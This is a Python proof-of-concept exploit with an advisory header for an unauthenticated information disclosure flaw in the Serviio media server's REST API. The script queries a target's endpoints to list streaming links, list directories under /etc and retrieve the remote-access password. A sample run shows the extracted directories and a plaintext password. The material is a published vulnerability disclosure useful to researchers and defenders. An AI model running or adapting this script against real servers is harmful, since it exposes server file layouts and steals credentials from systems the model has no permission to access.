#!/usr/bin/env python # # # Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure # # # Vendor: Petr Nejedly | Six Lines Ltd # Product web page: http://www.serviio.org # Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1 # # Summary: Serviio is a free media server. It allows you to stream your media # files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, # games console or mobile phone) on your connected home network. # # Vendor: # "Security: # MediaBrowser (as well as any app that uses the API) uses well proven security techniques, # so that you can be sure your content is only accessed by you. Make sure you keep your password # secure." # # Desc: The version of Serviio installed on the remote Windows/Linux host is affected # by an information disclosure vulnerability due to improper access control enforcement # of the Configuration REST API. An unauthenticated, remote attacker can exploit this, # via a specially crafted request, to gain access to potentially sensitive information. # # Tested on: Restlet-Framework/2.2 # Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5404 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5404.php # # SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094 # # # 12.12.2016 # import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 2): print '[*] Usage: serviio_id.py <ip address> <port>' print '[*] Example: serviio_id.py 10.211.55.3 23423' exit(0) host = sys.argv[1] port = sys.argv[2] headers = {'Accept': 'application/xml'} request = Request('http://'+host+':'+port+'/rest/import-export/online', headers=headers) print '\nPrinting ServiioLinks:' print '----------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('serviioLink'): print URLs.text print headers = {'Accept': 'application/xml'} #request = Request('http://'+host+':'+port+'/rest/list-folders?directory=C:\\', headers=headers) request = Request('http://'+host+':'+port+'/rest/list-folders?directory=/etc', headers=headers) print '\nPrinting directories:' print '---------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('path'): print URLs.text print headers = {'Accept': 'application/xml'} request = Request('http://'+host+':'+port+'/rest/remote-access', headers=headers) print '\nPrinting mediabrowser password:' print '-------------------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('remoteUserPassword'): print URLs.text print ''' rewt@zslab:~# python serviio_id.py 10.211.55.3 23423 Printing ServiioLinks: ---------------------- serviio://video:feed?url=http%3A%2F%2FRSSEXAMPLEURL%2Fzsl.xml serviio://video:live?url=http%3A%2F%2FLIVESTREAMEXAMPLE%2Fzsl serviio://video:web?url=http%3A%2F%2FWEBRESOURCEEXAMPLE%2Fzsl.resource Printing directories: --------------------- /etc/apache2 /etc/asl /etc/cups /etc/defaults /etc/emond.d /etc/mach_init.d /etc/mach_init_per_login_session.d /etc/mach_init_per_user.d /etc/manpaths.d /etc/newsyslog.d /etc/openldap /etc/pam.d /etc/paths.d /etc/periodic /etc/pf.anchors /etc/postfix /etc/ppp /etc/racoon /etc/security /etc/snmp /etc/ssh /etc/ssl /etc/sudoers.d Printing mediabrowser password: ------------------------------- s3cr3to rewt@zslab:~# '''
